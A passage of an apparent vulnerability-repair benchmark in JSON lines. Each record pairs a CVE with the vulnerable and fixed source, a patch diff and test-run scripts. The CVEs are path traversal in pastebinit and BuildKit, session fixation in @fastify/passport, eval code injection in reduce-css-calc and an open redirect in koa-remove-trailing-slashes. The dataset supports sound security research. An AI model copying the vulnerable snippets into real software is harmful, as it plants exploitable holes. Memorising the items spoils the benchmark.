path;\n+    if (entryPath[0] !== '/') {\n+      entryPath = '/' + entryPath;\n     }\n \n-    logger.info({ method, path }, 'adding new filter rule');\n-    const regexp = pathRegexp(path, keys);\n+    logger.info({ method, path: entryPath }, 'adding new filter rule');\n+    const regexp = pathRegexp(entryPath, keys);\n \n     return (req) => {\n       // check the request method\n       if (req.method.toLowerCase() !== method && method !== 'any') {\n+        return false;\n+      }\n+\n+      // Do not allow directory traversal\n+      if (path.normalize(req.url) !== req.url) {\n         return false;\n       }\n \n@@ -123,7 +128,7 @@\n         }\n       }\n \n-      logger.debug({ path, origin, url, querystring }, 'rule matched');\n+      logger.debug({ path: entryPath, origin, url, querystring }, 'rule matched');\n \n       querystring = (querystring) ? `?${querystring}` : '';\n       return {\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-7649:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/broker\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnode test/unit/filters.test.js\n", "unit_test_cmd": null}
{"cve_id": "CVE-2018-25059", "cve_description": "A vulnerability was found in pastebinit up to 0.2.2 and classified as problematic. Affected by this issue is the function pasteHandler of the file server.go. The manipulation of the argument r.URL.Path leads to path traversal. Upgrading to version 0.2.3 is able to address this issue. The name of the patch is 1af2facb6d95976c532b7f8f82747d454a092272. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-217040.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/jessfraz/pastebinit", "patch_url": ["https://github.com/jessfraz/pastebinit/commit/1af2facb6d95976c532b7f8f82747d454a092272"], "programing_language": "Go", "vul_func": [{"id": "vul_go_264_1", "commit": "edb60577888e36ba5139bee2b8050d8123654ab7", "file_path": "server.go", "start_line": 151, "end_line": 234, "snippet": "func (cmd *serverCommand) pasteHandler(w http.ResponseWriter, r *http.Request) {\n\tif r.URL.Path == \"/\" {\n\t\t// they want the root, make them auth\n\t\tu, p, ok := r.BasicAuth()\n\t\tif (u != username || p != password) || !ok {\n\t\t\tw.Header().Set(\"WWW-Authenticate\", `Basic realm=\"`+baseuri+`\"`)\n\t\t\tw.WriteHeader(401)\n\t\t\tw.Write([]byte(\"401 Unauthorized\\n\"))\n\t\t\treturn\n\t\t}\n\n\t\thtml, err := cmd.generateIndexHTML()\n\t\tif err != nil {\n\t\t\twriteError(w, fmt.Sprintf(\"generating index html failed: %v\", err))\n\t\t\treturn\n\t\t}\n\n\t\t// write the html\n\t\tw.Header().Set(\"Content-Type\", \"text/html\")\n\t\tfmt.Fprint(w, html)\n\t\tlogrus.Info(\"index file rendered\")\n\t\treturn\n\t}\n\n\tfilename := filepath.Join(cmd.storage, strings.Trim(r.URL.Path, \"/\"))\n\n\tvar handler func(data []byte) (string, error)\n\n\tif strings.HasSuffix(filename, \"/raw\") {\n\t\t// if they want the raw file serve a text/plain Content-Type\n\t\tw.Header().Set(\"Content-Type\", \"text/plain\")\n\t\t// trim '/raw' from the filename so we can get the right file\n\t\tfilename = strings.TrimSuffix(filename, \"/raw\")\n\t\thandler = func(data []byte) (string, error) {\n\t\t\treturn string(data), nil\n\t\t}\n\t} else if strings.HasSuffix(filename, \"/html\") {\n\t\t// check if they want html\n\t\tw.Header().Set(\"Content-Type\", \"text/html\")\n\t\tfilename = strings.TrimSuffix(filename, \"/html\")\n\t\thandler = func(data []byte) (string, error) {\n\t\t\treturn string(data), nil\n\t\t}\n\t} else if strings.HasSuffix(filename, \"/ansi\") {\n\t\t// check if they want ansi colored text\n\t\tw.Header().Set(\"Content-Type\", \"text/html\")\n\t\tfilename = strings.TrimSuffix(filename, \"/ansi\")\n\t\t// try to syntax highlight the file\n\t\thandler = func(data []byte) (string, error) {\n\t\t\treturn fmt.Sprintf(\"%s<pre><code>%s</code></pre>%s\", htmlBegin, terminal.Render(data), htmlEnd), nil\n\t\t}\n\t} else {\n\t\t// check if they want html\n\t\tw.Header().Set(\"Content-Type\", \"text/html\")\n\t\thandler = func(data []byte) (string, error) {\n\t\t\thighlighted, err := syntaxhighlight.AsHTML(data)\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t\treturn fmt.Sprintf(\"%s<pre><code>%s</code></pre>%s\", htmlBegin, string(highlighted), htmlEnd), nil\n\t\t}\n\t}\n\n\t// check if the file exists\n\tif _, err := os.Stat(filename); os.IsNotExist(err) {\n\t\twriteError(w, fmt.Sprintf(\"No such file or directory: %s\", filename))\n\t\treturn\n\t}\n\n\t// read the file\n\tsrc, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\twriteError(w, fmt.Sprintf(\"Reading file %s failed: %v\", filename, err))\n\t\treturn\n\t}\n\n\tdata, err := handler(src)\n\tif err != nil {\n\t\twriteError(w, fmt.Sprintf(\"Processing file %s failed: %v\", filename, err))\n\t}\n\n\tio.WriteString(w, data)\n\treturn\n}"}], "fix_func": [{"id": "fix_go_264_1", "commit": "1af2facb6d95976c532b7f8f82747d454a092272", "file_path": "server.go", "start_line": 152, "end_line": 235, "snippet": "func (cmd *serverCommand) pasteHandler(w http.ResponseWriter, r *http.Request) {\n\tif r.URL.Path == \"/\" {\n\t\t// they want the root, make them auth\n\t\tu, p, ok := r.BasicAuth()\n\t\tif (u != username || p != password) || !ok {\n\t\t\tw.Header().Set(\"WWW-Authenticate\", `Basic realm=\"`+baseuri+`\"`)\n\t\t\tw.WriteHeader(401)\n\t\t\tw.Write([]byte(\"401 Unauthorized\\n\"))\n\t\t\treturn\n\t\t}\n\n\t\thtml, err := cmd.generateIndexHTML()\n\t\tif err != nil {\n\t\t\twriteError(w, fmt.Sprintf(\"generating index html failed: %v\", err))\n\t\t\treturn\n\t\t}\n\n\t\t// write the html\n\t\tw.Header().Set(\"Content-Type\", \"text/html\")\n\t\tfmt.Fprint(w, html)\n\t\tlogrus.Info(\"index file rendered\")\n\t\treturn\n\t}\n\n\tfilename := filepath.Join(cmd.storage, filepath.FromSlash(path.Clean(\"/\"+strings.Trim(r.URL.Path, \"/\"))))\n\n\tvar handler func(data []byte) (string, error)\n\n\tif strings.HasSuffix(filename, \"/raw\") {\n\t\t// if they want the raw file serve a text/plain Content-Type\n\t\tw.Header().Set(\"Content-Type\", \"text/plain\")\n\t\t// trim '/raw' from the filename so we can get the right file\n\t\tfilename = strings.TrimSuffix(filename, \"/raw\")\n\t\thandler = func(data []byte) (string, error) {\n\t\t\treturn string(data), nil\n\t\t}\n\t} else if strings.HasSuffix(filename, \"/html\") {\n\t\t// check if they want html\n\t\tw.Header().Set(\"Content-Type\", \"text/html\")\n\t\tfilename = strings.TrimSuffix(filename, \"/html\")\n\t\thandler = func(data []byte) (string, error) {\n\t\t\treturn string(data), nil\n\t\t}\n\t} else if strings.HasSuffix(filename, \"/ansi\") {\n\t\t// check if they want ansi colored text\n\t\tw.Header().Set(\"Content-Type\", \"text/html\")\n\t\tfilename = strings.TrimSuffix(filename, \"/ansi\")\n\t\t// try to syntax highlight the file\n\t\thandler = func(data []byte) (string, error) {\n\t\t\treturn fmt.Sprintf(\"%s<pre><code>%s</code></pre>%s\", htmlBegin, terminal.Render(data), htmlEnd), nil\n\t\t}\n\t} else {\n\t\t// check if they want html\n\t\tw.Header().Set(\"Content-Type\", \"text/html\")\n\t\thandler = func(data []byte) (string, error) {\n\t\t\thighlighted, err := syntaxhighlight.AsHTML(data)\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t\treturn fmt.Sprintf(\"%s<pre><code>%s</code></pre>%s\", htmlBegin, string(highlighted), htmlEnd), nil\n\t\t}\n\t}\n\n\t// check if the file exists\n\tif _, err := os.Stat(filename); os.IsNotExist(err) {\n\t\twriteError(w, fmt.Sprintf(\"No such file or directory: %s\", r.URL.Path))\n\t\treturn\n\t}\n\n\t// read the file\n\tsrc, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\twriteError(w, fmt.Sprintf(\"Reading file %s failed: %v\", filename, err))\n\t\treturn\n\t}\n\n\tdata, err := handler(src)\n\tif err != nil {\n\t\twriteError(w, fmt.Sprintf(\"Processing file %s failed: %v\", filename, err))\n\t}\n\n\tio.WriteString(w, data)\n\treturn\n}"}], "vul_patch": "--- a/server.go\n+++ b/server.go\n@@ -22,7 +22,7 @@\n \t\treturn\n \t}\n \n-\tfilename := filepath.Join(cmd.storage, strings.Trim(r.URL.Path, \"/\"))\n+\tfilename := filepath.Join(cmd.storage, filepath.FromSlash(path.Clean(\"/\"+strings.Trim(r.URL.Path, \"/\"))))\n \n \tvar handler func(data []byte) (string, error)\n \n@@ -63,7 +63,7 @@\n \n \t// check if the file exists\n \tif _, err := os.Stat(filename); os.IsNotExist(err) {\n-\t\twriteError(w, fmt.Sprintf(\"No such file or directory: %s\", filename))\n+\t\twriteError(w, fmt.Sprintf(\"No such file or directory: %s\", r.URL.Path))\n \t\treturn\n \t}\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-29019", "cve_description": "@fastify/passport is a port of passport authentication library for the Fastify ecosystem. Applications using `@fastify/passport` in affected versions for user authentication, in combination with `@fastify/session` as the underlying session management mechanism, are vulnerable to session fixation attacks from network and same-site attackers. fastify applications rely on the `@fastify/passport` library for user authentication. The login and user validation are performed by the `authenticate` function. When executing this function, the `sessionId` is preserved between the pre-login and the authenticated session. Network and same-site attackers can hijack the victim's session by tossing a valid `sessionId` cookie in the victim's browser and waiting for the victim to log in on the website. As a solution, newer versions of `@fastify/passport` regenerate `sessionId` upon login, preventing the attacker-controlled pre-session cookie from being upgraded to an authenticated session. Users are advised to upgrade. There are no known workarounds for this vulnerability.\n", "cwe_info": {"CWE-384": {"name": "Session Fixation", "description": "Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions."}}, "repo": "https://github.com/fastify/fastify-passport", "patch_url": ["https://github.com/fastify/fastify-passport/commit/43c82c321db58ea3e375dd475de60befbfcf2a11"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_286_1", "commit": "121afaefc8601d3ffcf1b327aff3661ae9acce63", "file_path": "src/session-managers/SecureSessionManager.ts", "start_line": 25, "end_line": 28, "snippet": "  async logIn(request: FastifyRequest, user: any) {\n    const object = await this.serializeUser(user, request)\n    request.session.set(this.key, object)\n  }"}, {"id": "vul_js_286_2", "commit": "121afaefc8601d3ffcf1b327aff3661ae9acce63", "file_path": "src/session-managers/SecureSessionManager.ts", "start_line": 30, "end_line": 32, "snippet": "  async logOut(request: FastifyRequest) {\n    request.session.set(this.key, undefined)\n  }"}], "fix_func": [{"id": "fix_js_286_1", "commit": "43c82c321db58ea3e375dd475de60befbfcf2a11", "file_path": "src/session-managers/SecureSessionManager.ts", "start_line": 25, "end_line": 33, "snippet": "  async logIn(request: FastifyRequest, user: any) {\n    const object = await this.serializeUser(user, request)\n    // Handle sessions using @fastify/session\n    if (request.session.regenerate) {\n      // regenerate session to guard against session fixation\n      await request.session.regenerate()\n    }\n    request.session.set(this.key, object)\n  }"}, {"id": "fix_js_286_2", "commit": "43c82c321db58ea3e375dd475de60befbfcf2a11", "file_path": "src/session-managers/SecureSessionManager.ts", "start_line": 35, "end_line": 40, "snippet": "  async logOut(request: FastifyRequest) {\n    request.session.set(this.key, undefined)\n    if (request.session.regenerate) {\n      await request.session.regenerate()\n    }\n  }"}], "vul_patch": "--- a/src/session-managers/SecureSessionManager.ts\n+++ b/src/session-managers/SecureSessionManager.ts\n@@ -1,4 +1,9 @@\n   async logIn(request: FastifyRequest, user: any) {\n     const object = await this.serializeUser(user, request)\n+    // Handle sessions using @fastify/session\n+    if (request.session.regenerate) {\n+      // regenerate session to guard against session fixation\n+      await request.session.regenerate()\n+    }\n     request.session.set(this.key, object)\n   }\n\n--- a/src/session-managers/SecureSessionManager.ts\n+++ b/src/session-managers/SecureSessionManager.ts\n@@ -1,3 +1,6 @@\n   async logOut(request: FastifyRequest) {\n     request.session.set(this.key, undefined)\n+    if (request.session.regenerate) {\n+      await request.session.regenerate()\n+    }\n   }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2016-10548", "cve_description": "Arbitrary code execution is possible in reduce-css-calc node module <=1.2.4 through crafted css. This makes cross sites scripting (XSS) possible on the client and arbitrary code injection possible on the server and user input is passed to the `calc` function.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}}, "repo": "https://github.com/MoOx/reduce-css-calc", "patch_url": ["https://github.com/MoOx/reduce-css-calc/commit/aebe8f7adce937c0fec4c1315e4113ef74cadb6a"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_26_1", "commit": "da7bce7d90af3ebde50295f291fa445c7b56460e", "file_path": "index.js", "start_line": 40, "end_line": 96, "snippet": "  function evaluateExpression (expression, functionIdentifier, call) {\n    if (stack++ > MAX_STACK) {\n      stack = 0\n      throw new Error(\"Call stack overflow for \" + call)\n    }\n\n    if (expression === \"\") {\n      throw new Error(functionIdentifier + \"(): '\" + call + \"' must contain a non-whitespace string\")\n    }\n\n    expression = evaluateNestedExpression(expression, call)\n\n    var units = getUnitsInExpression(expression)\n\n    // If the expression contains multiple units or CSS variables,\n    // then let the expression be (i.e. browser calc())\n    if (units.length > 1 || expression.indexOf(\"var(\") > -1) {\n      return functionIdentifier + \"(\" + expression + \")\"\n    }\n\n    var unit = units[0] || \"\"\n\n    if (unit === \"%\") {\n      // Convert percentages to numbers, to handle expressions like: 50% * 50% (will become: 25%):\n      // console.log(expression)\n      expression = expression.replace(/\\b[0-9\\.]+%/g, function(percent) {\n        return parseFloat(percent.slice(0, -1)) * 0.01\n      })\n    }\n\n    // Remove units in expression:\n    var toEvaluate = expression.replace(new RegExp(unit, \"gi\"), \"\")\n    var result\n\n    try {\n      result = eval(toEvaluate)\n    }\n    catch (e) {\n      return functionIdentifier + \"(\" + expression + \")\"\n    }\n\n    // Transform back to a percentage result:\n    if (unit === \"%\") {\n      result *= 100\n    }\n\n    // adjust rounding shit\n    // (0.1 * 0.2 === 0.020000000000000004)\n    if (functionIdentifier.length || unit === \"%\") {\n      result = Math.round(result * decimalPrecision) / decimalPrecision\n    }\n\n    // Add unit\n    result += unit\n\n    return result\n  }"}], "fix_func": [{"id": "fix_js_26_1", "commit": "aebe8f7adce937c0fec4c1315e4113ef74cadb6a", "file_path": "index.js", "start_line": 45, "end_line": 101, "snippet": "  function evaluateExpression (expression, functionIdentifier, call) {\n    if (stack++ > MAX_STACK) {\n      stack = 0\n      throw new Error(\"Call stack overflow for \" + call)\n    }\n\n    if (expression === \"\") {\n      throw new Error(functionIdentifier + \"(): '\" + call + \"' must contain a non-whitespace string\")\n    }\n\n    expression = evaluateNestedExpression(expression, call)\n\n    var units = getUnitsInExpression(expression)\n\n    // If the expression contains multiple units or CSS variables,\n    // then let the expression be (i.e. browser calc())\n    if (units.length > 1 || expression.indexOf(\"var(\") > -1) {\n      return functionIdentifier + \"(\" + expression + \")\"\n    }\n\n    var unit = units[0] || \"\"\n\n    if (unit === \"%\") {\n      // Convert percentages to numbers, to handle expressions like: 50% * 50% (will become: 25%):\n      // console.log(expression)\n      expression = expression.replace(/\\b[0-9\\.]+%/g, function(percent) {\n        return parseFloat(percent.slice(0, -1)) * 0.01\n      })\n    }\n\n    // Remove units in expression:\n    var toEvaluate = expression.replace(new RegExp(unit, \"gi\"), \"\")\n    var result\n\n    try {\n      result = mexp.eval(toEvaluate)\n    }\n    catch (e) {\n      return functionIdentifier + \"(\" + expression + \")\"\n    }\n\n    // Transform back to a percentage result:\n    if (unit === \"%\") {\n      result *= 100\n    }\n\n    // adjust rounding shit\n    // (0.1 * 0.2 === 0.020000000000000004)\n    if (functionIdentifier.length || unit === \"%\") {\n      result = Math.round(result * decimalPrecision) / decimalPrecision\n    }\n\n    // Add unit\n    result += unit\n\n    return result\n  }"}, {"id": "fix_js_26_2", "commit": "aebe8f7adce937c0fec4c1315e4113ef74cadb6a", "file_path": "index.js", "start_line": 35, "end_line": 37, "snippet": "  // CSS allow to omit 0 for 0.* values,\n  // but math-expression-evaluator does not\n  value = value.replace(/\\s(\\.[0-9])/g, \" 0$1\")"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -33,7 +33,7 @@\n     var result\n \n     try {\n-      result = eval(toEvaluate)\n+      result = mexp.eval(toEvaluate)\n     }\n     catch (e) {\n       return functionIdentifier + \"(\" + expression + \")\"\n\n--- /dev/null\n+++ b/index.js\n@@ -0,0 +1,3 @@\n+  // CSS allow to omit 0 for 0.* values,\n+  // but math-expression-evaluator does not\n+  value = value.replace(/\\s(\\.[0-9])/g, \" 0$1\")\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2016-10548:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/reduce-css-calc\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest --forceExit ./poc\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2016-10548:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/reduce-css-calc\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpm test\n"}
{"cve_id": "CVE-2024-23652", "cve_description": "BuildKit is a toolkit for converting source code to build artifacts in an efficient, expressive and repeatable manner. A malicious BuildKit frontend or Dockerfile using RUN --mount could trick the feature that removes empty files created for the mountpoints into removing a file outside the container, from the host system. The issue has been fixed in v0.12.5. Workarounds include avoiding using BuildKit frontends from an untrusted source or building an untrusted Dockerfile containing RUN --mount feature.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/moby/buildkit", "patch_url": ["https://github.com/moby/buildkit/commit/23bebc4a180b84ba18733f545e7559e10c439ac3"], "programing_language": "Go", "vul_func": [{"id": "vul_go_163_1", "commit": "6b2dfbc", "file_path": "executor/stubs.go", "start_line": 15, "end_line": 96, "snippet": "func MountStubsCleaner(ctx context.Context, dir string, mounts []Mount, recursive bool) func() {\n\tnames := []string{\"/etc/resolv.conf\", \"/etc/hosts\"}\n\n\tfor _, m := range mounts {\n\t\tnames = append(names, m.Dest)\n\t}\n\n\tpaths := make([]string, 0, len(names))\n\n\tfor _, p := range names {\n\t\tp = filepath.Join(\"/\", p)\n\t\tif p == \"/\" {\n\t\t\tcontinue\n\t\t}\n\t\trealPath, err := fs.RootPath(dir, p)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tfor {\n\t\t\t_, err = os.Lstat(realPath)\n\t\t\tif !(errors.Is(err, os.ErrNotExist) || errors.Is(err, syscall.ENOTDIR)) {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tpaths = append(paths, realPath)\n\n\t\t\tif !recursive {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\trealPathNext := filepath.Dir(realPath)\n\t\t\tif realPath == realPathNext {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\trealPath = realPathNext\n\t\t}\n\t}\n\n\treturn func() {\n\t\tfor _, p := range paths {\n\t\t\tst, err := os.Lstat(p)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif st.IsDir() {\n\t\t\t\tentries, err := os.ReadDir(p)\n\t\t\t\tif err != nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif len(entries) != 0 {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t} else if st.Size() != 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Back up the timestamps of the dir for reproducible builds\n\t\t\t// https://github.com/moby/buildkit/issues/3148\n\t\t\tdir := filepath.Dir(p)\n\t\t\tdirSt, err := os.Stat(dir)\n\t\t\tif err != nil {\n\t\t\t\tbklog.G(ctx).WithError(err).Warnf(\"Failed to stat %q (parent of mount stub %q)\", dir, p)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tmtime := dirSt.ModTime()\n\t\t\tatime, err := system.Atime(dirSt)\n\t\t\tif err != nil {\n\t\t\t\tbklog.G(ctx).WithError(err).Warnf(\"Failed to stat atime of %q (parent of mount stub %q)\", dir, p)\n\t\t\t\tatime = mtime\n\t\t\t}\n\n\t\t\tif err := os.Remove(p); err != nil {\n\t\t\t\tbklog.G(ctx).WithError(err).Warnf(\"Failed to remove mount stub %q\", p)\n\t\t\t}\n\n\t\t\t// Restore the timestamps of the dir\n\t\t\tif err := os.Chtimes(dir, atime, mtime); err != nil {\n\t\t\t\tbklog.G(ctx).WithError(err).Warnf(\"Failed to restore time time mount stub timestamp (os.Chtimes(%q, %v, %v))\", dir, atime, mtime)\n\t\t\t}\n\t\t}\n\t}\n}"}], "fix_func": [{"id": "fix_go_163_1", "commit": "23bebc4", "file_path": "executor/stubs.go", "start_line": 16, "end_line": 106, "snippet": "func MountStubsCleaner(ctx context.Context, dir string, mounts []Mount, recursive bool) func() {\n\tnames := []string{\"/etc/resolv.conf\", \"/etc/hosts\"}\n\n\tfor _, m := range mounts {\n\t\tnames = append(names, m.Dest)\n\t}\n\n\tpaths := make([]string, 0, len(names))\n\n\tfor _, p := range names {\n\t\tp = filepath.Join(\"/\", p)\n\t\tif p == \"/\" {\n\t\t\tcontinue\n\t\t}\n\t\trealPath, err := fs.RootPath(dir, p)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tfor {\n\t\t\t_, err = os.Lstat(realPath)\n\t\t\tif !(errors.Is(err, os.ErrNotExist) || errors.Is(err, syscall.ENOTDIR)) {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tpaths = append(paths, realPath)\n\n\t\t\tif !recursive {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\trealPathNext := filepath.Dir(realPath)\n\t\t\tif realPath == realPathNext || realPathNext == dir {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\trealPath = realPathNext\n\t\t}\n\t}\n\n\treturn func() {\n\t\tfor _, p := range paths {\n\t\t\tp, err := fs.RootPath(dir, strings.TrimPrefix(p, dir))\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tst, err := os.Lstat(p)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif st.IsDir() {\n\t\t\t\tentries, err := os.ReadDir(p)\n\t\t\t\tif err != nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif len(entries) != 0 {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t} else if st.Size() != 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Back up the timestamps of the dir for reproducible builds\n\t\t\t// https://github.com/moby/buildkit/issues/3148\n\t\t\tparent := filepath.Dir(p)\n\t\t\tif realPath, err := fs.RootPath(dir, strings.TrimPrefix(parent, dir)); err != nil || realPath != parent {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tdirSt, err := os.Stat(parent)\n\t\t\tif err != nil {\n\t\t\t\tbklog.G(ctx).WithError(err).Warnf(\"Failed to stat %q (parent of mount stub %q)\", dir, p)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tmtime := dirSt.ModTime()\n\t\t\tatime, err := system.Atime(dirSt)\n\t\t\tif err != nil {\n\t\t\t\tbklog.G(ctx).WithError(err).Warnf(\"Failed to stat atime of %q (parent of mount stub %q)\", dir, p)\n\t\t\t\tatime = mtime\n\t\t\t}\n\n\t\t\tif err := os.Remove(p); err != nil {\n\t\t\t\tbklog.G(ctx).WithError(err).Warnf(\"Failed to remove mount stub %q\", p)\n\t\t\t}\n\n\t\t\t// Restore the timestamps of the dir\n\t\t\tif err := os.Chtimes(parent, atime, mtime); err != nil {\n\t\t\t\tbklog.G(ctx).WithError(err).Warnf(\"Failed to restore time time mount stub timestamp (os.Chtimes(%q, %v, %v))\", dir, atime, mtime)\n\t\t\t}\n\t\t}\n\t}\n}"}], "vul_patch": "--- a/executor/stubs.go\n+++ b/executor/stubs.go\n@@ -29,7 +29,7 @@\n \t\t\t}\n \n \t\t\trealPathNext := filepath.Dir(realPath)\n-\t\t\tif realPath == realPathNext {\n+\t\t\tif realPath == realPathNext || realPathNext == dir {\n \t\t\t\tbreak\n \t\t\t}\n \t\t\trealPath = realPathNext\n@@ -38,6 +38,11 @@\n \n \treturn func() {\n \t\tfor _, p := range paths {\n+\t\t\tp, err := fs.RootPath(dir, strings.TrimPrefix(p, dir))\n+\t\t\tif err != nil {\n+\t\t\t\tcontinue\n+\t\t\t}\n+\n \t\t\tst, err := os.Lstat(p)\n \t\t\tif err != nil {\n \t\t\t\tcontinue\n@@ -56,8 +61,12 @@\n \n \t\t\t// Back up the timestamps of the dir for reproducible builds\n \t\t\t// https://github.com/moby/buildkit/issues/3148\n-\t\t\tdir := filepath.Dir(p)\n-\t\t\tdirSt, err := os.Stat(dir)\n+\t\t\tparent := filepath.Dir(p)\n+\t\t\tif realPath, err := fs.RootPath(dir, strings.TrimPrefix(parent, dir)); err != nil || realPath != parent {\n+\t\t\t\tcontinue\n+\t\t\t}\n+\n+\t\t\tdirSt, err := os.Stat(parent)\n \t\t\tif err != nil {\n \t\t\t\tbklog.G(ctx).WithError(err).Warnf(\"Failed to stat %q (parent of mount stub %q)\", dir, p)\n \t\t\t\tcontinue\n@@ -74,7 +83,7 @@\n \t\t\t}\n \n \t\t\t// Restore the timestamps of the dir\n-\t\t\tif err := os.Chtimes(dir, atime, mtime); err != nil {\n+\t\t\tif err := os.Chtimes(parent, atime, mtime); err != nil {\n \t\t\t\tbklog.G(ctx).WithError(err).Warnf(\"Failed to restore time time mount stub timestamp (os.Chtimes(%q, %v, %v))\", dir, atime, mtime)\n \t\t\t}\n \t\t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-23384", "cve_description": "The package koa-remove-trailing-slashes before 2.0.2 are vulnerable to Open Redirect via the use of trailing double slashes in the URL when accessing the vulnerable endpoint (such as https://example.com//attacker.example/). The vulnerable code is in index.js::removeTrailingSlashes(), as the web server uses relative URLs instead of absolute URLs.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/vgno/koa-remove-trailing-slashes", "patch_url": ["https://github.com/vgno/koa-remove-trailing-slashes/commit/e7ce4000e9fe4d957332df1056640a22ebea28ee"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_3_1", "commit": "b7da362", "file_path": "index.js", "start_line": 5, "end_line": 52, "snippet": "function removeTrailingSlashes(opts) {\n    opts = opts || {};\n\n    if (opts.defer !== false) {\n        opts.defer = opts.defer || true;\n    }\n\n    if (opts.chained !== false) {\n        opts.chained = opts.chained || true;\n    }\n\n    return async function(ctx, next) {\n        if (opts.defer) {\n            await next();\n        }\n\n        let path;\n        let querystring = '';\n\n        // We have already done a redirect and we will continue if we are in chained mode\n        if (opts.chained && ctx.status === 301) {\n            const location = ctx.response.get('Location') || '';\n\n            // We can't use ctx.querystring because it may not be up to date\n            const parsedLocation = location.match(/\\?(.*)$/);\n            if (parsedLocation && parsedLocation[1]) {\n                querystring = parsedLocation[1];\n            }\n\n            path = getPath(location, querystring);\n        } else if (ctx.status !== 301) {\n            querystring = ctx.querystring;\n            path = getPath(ctx.originalUrl, ctx.querystring);\n        }\n\n        if (path && haveSlash(path)) {\n            path = path.slice(0, -1);\n            const query = querystring.length ? '?' + querystring : '';\n\n            ctx.status = 301;\n            ctx.redirect(path + query);\n        }\n\n        if (!opts.defer) {\n            await next();\n        }\n    };\n}"}], "fix_func": [{"id": "fix_js_3_1", "commit": "e7ce400", "file_path": "index.js", "start_line": 5, "end_line": 56, "snippet": "function removeTrailingSlashes(opts) {\n    opts = opts || {};\n\n    if (opts.defer !== false) {\n        opts.defer = opts.defer || true;\n    }\n\n    if (opts.chained !== false) {\n        opts.chained = opts.chained || true;\n    }\n\n    return async function(ctx, next) {\n        if (opts.defer) {\n            await next();\n        }\n\n        let path;\n        let querystring = '';\n\n        // We have already done a redirect and we will continue if we are in chained mode\n        if (opts.chained && ctx.status === 301) {\n            const location = ctx.response.get('Location') || '';\n\n            // We can't use ctx.querystring because it may not be up to date\n            const parsedLocation = location.match(/\\?(.*)$/);\n            if (parsedLocation && parsedLocation[1]) {\n                querystring = parsedLocation[1];\n            }\n\n            path = getPath(location, querystring);\n        } else if (ctx.status !== 301) {\n            querystring = ctx.querystring;\n            path = getPath(ctx.originalUrl, ctx.querystring);\n        }\n\n        if (path && haveSlash(path)) {\n            path = path.slice(0, -1);\n            const query = querystring.length ? '?' + querystring : '';\n\n            const newURL = new URL(path + query, ctx.request.URL);\n\n            if (ctx.origin === newURL.origin) {\n                ctx.status = 301;\n                ctx.redirect(path + query);\n            }\n        }\n\n        if (!opts.defer) {\n            await next();\n        }\n    };\n}"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -37,8 +37,12 @@\n             path = path.slice(0, 